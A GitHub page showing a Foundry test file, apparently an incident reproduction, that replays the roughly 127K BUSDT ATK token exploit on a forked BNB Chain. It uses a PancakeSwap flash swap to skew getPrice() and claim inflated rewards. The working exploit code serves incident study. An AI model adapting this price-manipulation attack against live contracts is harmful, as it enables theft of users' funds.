-
Notifications
You must be signed in to change notification settings - Fork 1.2k
/
ATK_exp.sol
96 lines (81 loc) · 4.13 KB
/
ATK_exp.sol
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
// SPDX-License-Identifier: UNLICENSED
pragma solidity ^0.8.10;
import "forge-std/Test.sol";
import "./../interface.sol";
// @KeyInfo - Total Lost : ~127K BUSDT
// Attacker : 0x3DF6cd58716d22855aFb3B828F82F10708AfbB4f
// Attack Contract : https://bscscan.com/address/0xd7ba198ce82f4c46ad8f6148ccfdb41866750231
// Vulnerable Contract : https://bscscan.com/address/0x9cb928bf50ed220ac8f703bce35be5ce7f56c99c
// Attack related Txs :
// - https://bscscan.com/tx/0xb181e88e6b37ee9986f2a57aefb94779402fdb928654aa7c1dda5138b90d0e14
// - https://bscscan.com/tx/0x9e328f77809ea3c01833ec7ed8928edb4f5798c96f302b54fc640a22b3dd1a52
// - https://bscscan.com/tx/0x55983d8701e40353fee90803688170a16424ee702f6b21bb198bb8e7282112cd
// - https://bscscan.com/tx/0x601b8ab0c1d51e71796a0df5453ca671ae23de3d5ec9ffd87b9c378504f99c32
// @Info
// Vulnerable Contract Code : https://bscscan.com/address/0x9cb928bf50ed220ac8f703bce35be5ce7f56c99c#code#L706
// @Analysis
// Twitter BlockSecTeam : https://twitter.com/BlockSecTeam/status/1580095325200474112
// Article CertiK : https://www.certik.com/resources/blog/1YsQo8TnxCvwalqvtkFLtC-journey-of-awakening-incident-analysis
// Closed-source contract is designed to deposit and claimReward(), the claim function use getPrice() in ATK token contract
// Root cause: getPrice() function
contract ContractTest is Test {
IWBNB constant WBNB_TOKEN = IWBNB(payable(0xbb4CdB9CBd36B01bD1cBaEBF2De08d9173bc095c));
IERC20 constant ATK_TOKEN = IERC20(0x9cB928Bf50ED220aC8f703bce35BE5ce7F56C99c);
IERC20 constant BUSDT_TOKEN = IERC20(0x55d398326f99059fF775485246999027B3197955);
Uni_Router_V2 constant PS_ROUTER = Uni_Router_V2(0x10ED43C718714eb63d5aA57B78B54704E256024E);
Uni_Pair_V2 constant ATK_BUSDT_PAIR = Uni_Pair_V2(0xd228fAee4f73a73fcC73B6d9a1BD25EE1D6ee611);
address constant EXPLOIT_CONTRACT = 0xD7ba198ce82f4c46AD8F6148CCFDB41866750231;
address constant EXPLOIT_AUX_CONTRACT = 0x96bF2E6CC029363B57Ffa5984b943f825D333614;
uint256 swapamount;
function setUp() public {
vm.createSelectFork("bsc", 22_102_838);
// Adding labels to improve stack traces' readability
vm.label(address(WBNB_TOKEN), "WBNB_TOKEN");
vm.label(address(ATK_TOKEN), "ATK_TOKEN");
vm.label(address(BUSDT_TOKEN), "BUSDT_TOKEN");
vm.label(address(PS_ROUTER), "PS_ROUTER");
vm.label(address(ATK_BUSDT_PAIR), "ATK_BUSDT_PAIR");
vm.label(EXPLOIT_CONTRACT, "EXPLOIT_CONTRACT");
vm.label(EXPLOIT_AUX_CONTRACT, "EXPLOIT_AUX_CONTRACT");
}
function testExploit() public {
emit log_named_decimal_uint(
"[Start] Attacker ATK balance before exploit", ATK_TOKEN.balanceOf(EXPLOIT_CONTRACT), 18
);
WBNB_TOKEN.deposit{value: 2 ether}();
_WBNBToBUSDT();
swapamount = BUSDT_TOKEN.balanceOf(address(ATK_BUSDT_PAIR)) - 3 * 1e18;
ATK_BUSDT_PAIR.swap(swapamount, 0, address(this), new bytes(1));
emit log_named_decimal_uint(
"[End] Attacker ATK balance after exploit", ATK_TOKEN.balanceOf(EXPLOIT_CONTRACT), 18
);
}
/*
* Callback function called by PancakeSwap during the flashswap
*/
function pancakeCall(
address, /*sender*/
uint256, /*amount0*/
uint256, /*amount1*/
bytes calldata /*data*/
) public {
// EXPLOIT_CONTRACT calls `claimToken1()` function
vm.prank(EXPLOIT_CONTRACT);
(bool success,) = EXPLOIT_AUX_CONTRACT.call(abi.encodeWithSignature("claimToken1()"));
require(success, "Call `claimToken1()` failed");
// Return the BUSDT to the ATK_BUSDT_PAIR
BUSDT_TOKEN.transfer(address(ATK_BUSDT_PAIR), swapamount * 10_000 / 9975 + 1000);
}
/**
* Auxiliary function to swap all WBNB to BUSDT
*/
function _WBNBToBUSDT() internal {
WBNB_TOKEN.approve(address(PS_ROUTER), type(uint256).max);
address[] memory path = new address[](2);
path[0] = address(WBNB_TOKEN);
path[1] = address(BUSDT_TOKEN);
PS_ROUTER.swapExactTokensForTokensSupportingFeeOnTransferTokens(
WBNB_TOKEN.balanceOf(address(this)), 0, path, address(this), block.timestamp
);
}
}